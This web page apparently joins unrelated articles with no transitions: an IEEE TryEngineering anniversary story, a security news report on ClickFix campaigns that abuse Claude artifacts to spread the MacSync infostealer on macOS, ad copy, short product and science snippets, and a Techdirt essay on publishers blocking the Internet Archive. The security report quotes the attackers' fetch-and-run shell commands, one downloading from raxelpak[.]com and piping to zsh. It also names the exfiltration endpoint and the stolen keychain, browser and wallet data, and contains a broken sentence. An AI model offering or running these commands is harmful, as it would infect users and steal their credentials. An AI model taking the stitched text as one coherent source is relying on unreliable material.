IEEE TryEngineering is celebrating 20 years of empowering educators with resources that introduce engineering to students at an early age. Launched in 2006 as a collaboration between IEEE, IBM, and the New York Hall of Science (NYSCI), TryEngineering began with a clear goal: Make engineering accessible, understandable, and engaging for students and the teachers who support them.

What started as an idea within IEEE Educational Activities has grown into a global platform supporting preuniversity engineering education around the world.

Concerns about the future

In the early 2000s, engineering was largely absent from preuniversity education, typically being taught only in small, isolated programs. Most students had little exposure to the many types of engineering, and they did not learn what engineers actually do.

At the same time, industry and academic leaders were increasingly concerned about the future of engineering as a whole. They worried about the talent pipeline and saw existing outreach efforts as scattered and inconsistent.

In 2004 representatives from several electrical and computer engineering industries met with IEEE leadership and expressed their concerns about the declining number of students interested in engineering careers. They urged IEEE to organize a more effective, coordinated response to unite professional societies, educators, and industry around a shared approach to preuniversity outreach and education.

One of the major recommendations to come out of that meeting was to start teaching youngsters about engineering earlier. Research from the U.S. National Academy of Engineering at the time showed that students begin forming attitudes toward science, technology, engineering, and math fields from ages 5 to 10, and that outreach should begin as early as kindergarten. Waiting until the teen years or university-level education is simply too late, they determined; it needs to happen during the formative years to spark long-term interest in STEM learning.

The idea behind the website

TryEngineering emerged from the broader Launching Our Children’s Path to Engineering initiative, which was approved in 2005 by the IEEE Board of Directors. A core element of the IEEE program was a public-facing website that would introduce young learners to engineering projects, roles, and careers. The concept eventually developed into TryEngineering.org.

The idea for TryEngineering.org itself grew from an existing, successful model. The NYSCI operated TryScience.org, a popular public website supported by IBM that helped students explore science topics through hands-on activities and real‑world connections.

At the time, the IEEE Educational Activities group was working with the NYSCI on TryScience projects. Building a parallel site focused on engineering was a natural next step, and IBM’s experience in supporting large‑scale educational outreach made it a strong partner.

A central figure in turning that vision into reality was Moshe Kam, who served as the 2005–2007 IEEE Educational Activities vice president, and later as the 2011 IEEE president. During his tenure, Kam spearheaded the creation of TryEngineering.org and guided the international expansion of IEEE’s Teacher In‑Service Program, which trained volunteers to work directly with teachers to create hands-on engineering lessons (the program no longer exists). His leadership helped establish preuniversity education as a core, long‑term priority within IEEE.

“The founders of the IEEE TryEngineering program created something very special. In a world where the messaging about becoming an engineer often scares students who have not yet developed math skills away from our profession, and preuniversity teachers without engineering degrees have trepidation in teaching topics in our fields of interest, people like Dr. Kam and the other founders had a vision where everyone could literally try engineering,” says Jamie Moesch, IEEE Educational Activities managing director.

“Because of this, teachers have now taught millions of our hands-on lessons and opened our profession to so many more young minds,” he adds. “All of the preuniversity programs we have continued to build and improve upon are fueled by this massively important and simple-to-understand concept of try engineering.”

A focus on educators

From the beginning, TryEngineering focused on educators as the keys to its success, rather than starting with students. Instead of complex technical explanations, the platform offered free, classroom-ready lesson plans with clear explanations about engineering fields and examples with which students could relate. Hands-on activities emphasized problem‑solving, creativity, and teamwork—core elements of how engineers actually work.

IEEE leaders also recognized that misconceptions about engineering discouraged many talented young people—particularly girls and students from underrepresented groups—from pursuing engineering as a career. TryEngineering aimed to show engineering as practical, creative, and connected to real-world needs, helping students see that engineering could be for anyone, not just a narrow group of specialists.

By simply encouraging students and educators to just try engineering, doors are open to new possibilities and a broader understanding of the field. Even students who ultimately choose other career paths get to learn key concepts, such as the engineering design process, equipping them with practical skills for the rest of their life.

Outreach programs and summer camps

During the past two decades, TryEngineering has grown well beyond its original website. In addition to providing a vast library of lesson plans and resources that engage and inspire, it also serves as the hub for a collection of programs reaching educators and students in many ways.

Those include the TryEngineering STEM Champions program, which empowers dedicated volunteers to support outreach programs and serve as vital connectors to IEEE’s extensive resources. The TryEngineering Summer Institute offers immersive campus‑based experiences for students ages 13 to 17, with expanded locations and programs being introduced this year.

The IEEE STEM Summit is an annual virtual event that brings together educators and volunteers from around the world. TryEngineering OnCampus partners with universities around the globe to organize hands-on programs. TryEngineering educator sessions provide free professional development programs aligned with emerging industry needs such as semiconductors.

20 ways to celebrate 20 years

To mark its 20th anniversary, TryEngineering is celebrating with a year of special activities, new partnerships, and fresh resources for educators. Visit the TryEngineering 20th Anniversary collection page to explore what’s ahead, join the celebration, and discover 20 ways to celebrate 20 years of inspiring the next generation of technology innovators. This is an opportunity to reflect on how far the program has come, and to help shape how the next generation discovers engineering.

“The passion and dedication of the thousands of volunteers of IEEE who do local outreach enables the IEEE-wide goal to inspire intellectual curiosity and invention to engage the next generation of technology innovators,” Moesch says. “The first 20 years have been special, and I cannot wait to have the world experience what the future holds for the TryEngineering programs.”

Threat actors are abusing Claude artifacts and Google Ads in ClickFix campaigns that deliver infostealer malware to macOS users searching for specific queries.

At least two variants of the malicious activity have been observed in the wild, and more than 10,000 users have accessed the content with dangerous instructions.

A Claude artifact is content generated with Antropic’s LLM that has been made public by the author. It can be anything from instructions, guides, chunks of code, or other types of output that are isolated from the main chat and accessible to anyone via links hosted on the claude.ai domain.

An artifact’s page warns users that the shown content was generated by the user and has not been verified for accuracy.

Researchers at MacPaw’s investigative division, Moonlock Lab, and at ad-blocking company AdGuard noticed the malicious search results being displayed for multiple queries, like “online DNS resolver,” “macOS CLI disk space analyzer,” and “HomeBrew.”

Malicious results promoted on Google Search lead to either a public Claude artifact or a Medium article impersonating Apple Support. In both cases, the user is instructed to paste a shell command into Terminal.

• In the first variant of the attack, the command given for execution is: ‘echo "..." | base64 -D | zsh,’
• while in the second, it’s: ‘true && cur""l -SsLfk --compressed "https://raxelpak[.]com/curl/[hash]" | zsh’.

Moonlock researchers discovered that the malicious Claude guide has already received at least 15,600 views, which could be an indication of the number of users falling for the trick.

AdGuard researchers observed the same guide a few days earlier, when it had 12,300 views.

Running the command in Terminal fetches a malware loader for the MacSync infostealer, which exfiltrates sensitive information present on the system. 

According to the researchers, the malware establishes communication with the command-and-control (C2) infrastructure using a hardcoded token and API key, and spoofs a macOS browser user-agent to blend into normal activity.

“The response is piped directly to osascript – the AppleScript handles the actual stealing (keychain, browser data, crypto wallets),” the researchers say.

The stolen data is packaged into an archive at ‘/tmp/osalogging.zip,’ and then exfiltrated to the attacker’s C2 at a2abotnet[.]com/gate via an HTTP POST request. In case of failure, the archive is split into smaller chunks, and exfiltration is retried eight times. After a successful upload, a cleanup step deletes all traces.

MoonLock Lab found that both variants fetch the second stage from the same C2 address, indicating that the same threat actor is behind the observed activity.

A similar campaign leveraged the chat sharing feature in ChatGPT and Grok to deliver the AMOS infostealer. In December 2025, researchers found the promoted  after researchers found ChatGPT and Grok conversations were being leveraged in ClickFix attacks targeting Mac users.

The Claude variation of the attack indicates that abuse has expanded to other large language models (LLMs).

Users are recommended to exert caution and avoid executing in Terminal commands they don’t fully understand. As Kaspersky researchers noted in the past, asking the chatbot in the same conversation about the safety of the provided commands is a straightforward way to determine if they’re safe or not.

Modern IT infrastructure moves faster than manual workflows can handle.

In this new Tines guide, learn how your team can reduce hidden manual delays, improve reliability through automated response, and build and scale intelligent workflows on top of tools you already use.

Get the guide

• China successfully extracted kilogram-level uranium from seawater under real marine conditions
• Oceans contain far more uranium than all known land-based deposits combined
• Seawater uranium concentration is extremely low, making recovery technically demanding

Chinese scientists have revealed successful kilogram-scale uranium extraction from seawater under real marine conditions, a milestone which moves the concept beyond laboratory testing.

The announcement came through state-linked nuclear institutions, and was tied to the operation of a dedicated offshore test platform in the South China Sea.

KitchenAid has revealed Spearmint as its official Colour of the Year for 2026, introducing a pastel green finish that will appear across select appliances and shape the brand’s design direction over the coming months.

The company applies its annual colour selection to highlight shifting consumer preferences in kitchen design, often aligning small appliance aesthetics with broader interior trends that emphasise softness and muted tones.

Spearmint launches on the KitchenAid Artisan Series 5-Quart Tilt-Head Stand Mixer, which is now available in the new finish with a list price of $549.99 / £699.

Unlike last year’s Butter shade, which featured a subtle sheen, Spearmint uses what KitchenAid describes as a sandy, tactile finish that contrasts with the brushed stainless steel mixing bowl.

from the our-digital-history dept

Last fall, I wrote about how the fear of AI was leading us to wall off the open internet in ways that would hurt everyone. At the time, I was worried about how companies were conflating legitimate concerns about bulk AI training with basic web accessibility. Not surprisingly, the situation has gotten worse. Now major news publishers are actively blocking the Internet Archive—one of the most important cultural preservation projects on the internet—because they’re worried AI companies might use it as a sneaky “backdoor” to access their content.

This is a mistake we’re going to regret for generations.

Nieman Lab reports that The Guardian, The New York Times, and others are now limiting what the Internet Archive can crawl and preserve:

When The Guardian took a look at who was trying to extract its content, access logs revealed that the Internet Archive was a frequent crawler, said Robert Hahn, head of business affairs and licensing. The publisher decided to limit the Internet Archive’s access to published articles, minimizing the chance that AI companies might scrape its content via the nonprofit’s repository of over one trillion webpage snapshots.

Specifically, Hahn said The Guardian has taken steps to exclude itself from the Internet Archive’s APIs and filter out its article pages from the Wayback Machine’s URLs interface. The Guardian’s regional homepages, topic pages, and other landing pages will continue to appear in the Wayback Machine.

Advertisement

The Times has gone even further:

The New York Times confirmed to Nieman Lab that it’s actively “hard blocking” the Internet Archive’s crawlers. At the end of 2025, the Times also added one of those crawlers — archive.org_bot — to its robots.txt file, disallowing access to its content.

“We believe in the value of The New York Times’s human-led journalism and always want to ensure that our IP is being accessed and used lawfully,” said a Times spokesperson. “We are blocking the Internet Archive’s bot from accessing the Times because the Wayback Machine provides unfettered access to Times content — including by AI companies — without authorization.”

I understand the concern here. I really do. News publishers are struggling, and watching AI companies hoover up their content to train models that might then, in some ways, compete with them for readers is genuinely frustrating. I run a publication myself, remember.

But blocking the Internet Archive isn’t going to stop AI training. What it will do is ensure that significant chunks of our journalistic record and historical cultural context simply… disappear.

And that’s bad.

The Internet Archive is the most famous nonprofit digital library, and has been operating for nearly three decades. It isn’t some fly-by-night operation looking to profit off publisher content. It’s trying to preserve the historical record of the internet—which is way more fragile than most people comprehend. When websites disappear—and they disappear constantly—the Wayback Machine is often the only place that content still exists. Researchers, historians, journalists, and ordinary citizens rely on it to understand what actually happened, what was actually said, what the world actually looked like at a given moment.

In a digital era when few things end up printed on paper, the Internet Archive’s efforts to permanently preserve our digital culture are essential infrastructure for anyone who cares about historical memory.

And now we’re telling them they can’t preserve the work of our most trusted publications.

Think about what this could mean in practice. Future historians trying to understand 2025 will have access to archived versions of random blogs, sketchy content farms, and conspiracy sites—but not The New York Times. Not The Guardian. Not the publications that we consider the most reliable record of what’s happening in the world. We’re creating a historical record that’s systematically biased against quality journalism.

Yes, I’m sure some will argue that the NY Times and The Guardian will never go away. Tell that to the readers of the Rocky Mountain News, which published for 150 years before shutting down in 2009, or to the 2,100+ newspapers that have closed since 2004. Institutions—even big, prominent, established ones—don’t necessarily last.

As one computer scientist quoted in the Nieman piece put it:

“Common Crawl and Internet Archive are widely considered to be the ‘good guys’ and are used by ‘the bad guys’ like OpenAI,” said Michael Nelson, a computer scientist and professor at Old Dominion University. “In everyone’s aversion to not be controlled by LLMs, I think the good guys are collateral damage.”

That’s exactly right. In our rush to punish AI companies, we’re destroying public goods that serve everyone.

The most frustrating bit of all of this: The Guardian admits they haven’t actually documented AI companies scraping their content through the Wayback Machine. This is purely precautionary and theoretical. They’re breaking historical preservation based on a hypothetical threat:

The Guardian hasn’t documented specific instances of its webpages being scraped by AI companies via the Wayback Machine. Instead, it’s taking these measures proactively and is working directly with the Internet Archive to implement the changes.

And, of course, as one of the “good guys” of the internet, the Internet Archive is willing to do exactly what these publishers want. They’ve always been good about removing content or not scraping content that people don’t want in the archive. Sometimes to a fault. But you can never (legitimately) accuse them of malicious archiving (even if music labels and book publishers have).

Either way, we’re sacrificing the historical record not because of proven harm, but because publishers are worried about what might happen. That’s a hell of a tradeoff.

This isn’t even new, of course. Last year, Reddit announced it would block the Internet Archive from archiving its forums—decades of human conversation and cultural history—because Reddit wanted to monetize that content through AI licensing deals. The reasoning was the same: can’t let the Wayback Machine become a backdoor for AI companies to access content Reddit is now selling. But once you start going down that path, it leads to bad places.

The Nieman piece notes that, in the case of USA Today/Gannett, it appears that there was a company-wide decision to tell the Internet Archive to get lost:

In total, 241 news sites from nine countries explicitly disallow at least one out of the four Internet Archive crawling bots.

Most of those sites (87%) are owned by USA Today Co., the largest newspaper conglomerate in the United States formerly known as Gannett. (Gannett sites only make up 18% of Welsh’s original publishers list.) Each Gannett-owned outlet in our dataset disallows the same two bots: “archive.org_bot” and “ia_archiver-web.archive.org”. These bots were added to the robots.txt files of Gannett-owned publications in 2025.

Some Gannett sites have also taken stronger measures to guard their contents from Internet Archive crawlers. URL searches for the Des Moines Register in the Wayback Machine return a message that says, “Sorry. This URL has been excluded from the Wayback Machine.”

A Gannett spokesperson told NiemanLab that it was about “safeguarding our intellectual property” but that’s nonsense. The whole point of libraries and archives is to preserve such content, and they’ve always preserved materials that were protected by copyright law. The claim that they have to be blocked to safeguard such content is both technologically and historically illiterate.

And here’s the extra irony: blocking these crawlers may not even serve publishers’ long-term interests. As I noted in my earlier piece, as more search becomes AI-mediated (whether you like it or not), being absent from training datasets increasingly means being absent from results. It’s a bit crazy to think about how much effort publishers put into “search engine optimization” over the years, only to now block the crawlers that feed the systems a growing number of people are using for search. Publishers blocking archival crawlers aren’t just sacrificing the historical record—they may be making themselves invisible in the systems that increasingly determine how people discover content in the first place.

The Internet Archive’s founder, Brewster Kahle, has been trying to sound the alarm:

“If publishers limit libraries, like the Internet Archive, then the public will have less access to the historical record.”

But that warning doesn’t seem to be getting through. The panic about AI has become so intense that people are willing to sacrifice core internet infrastructure to address it.

What makes this particularly frustrating is that the internet’s openness was never supposed to have asterisks. The fundamental promise wasn’t “publish something and it’s accessible to all, except for technologies we decide we don’t like.” It was just… open. You put something on the public web, people can access it. That simplicity is what made the web transformative.

Now we’re carving out exceptions based on who might access content and what they might do with it. And once you start making those exceptions, where do they end? If the Internet Archive can be blocked because AI companies might use it, what about research databases? What about accessibility tools that help visually impaired users? What about the next technology we haven’t invented yet?

This is a real concern. People say “oh well, blocking machines is different from blocking humans,” but that’s exactly why I mention assistive tech for the visually impaired. Machines accessing content are frequently tools that help humans—including me. I use an AI tool to help fact check my articles, and part of that process involves feeding it the source links. But increasingly, the tool tells me it can’t access those articles to verify whether my coverage accurately reflects them.

I don’t have a clean answer here. Publishers genuinely need to find sustainable business models, and watching their work get ingested by AI systems without compensation is a legitimate grievance—especially when you see how much traffic some of these (usually less scrupulous) crawlers dump on sites. But the solution can’t be to break the historical record of the internet. It can’t be to ensure that our most trusted sources of information are the ones that disappear from archives while the least trustworthy ones remain.

We need to find ways to address AI training concerns that don’t require us to abandon the principle of an open, preservable web. Because right now, we’re building a future where historians, researchers, and citizens can’t access the journalism that documented our era. And that’s not a tradeoff any of us should be comfortable with.

Filed Under: ai, archives, culture, libraries, scanning, scraping

Companies: internet archive, ny times, the guardian, usa today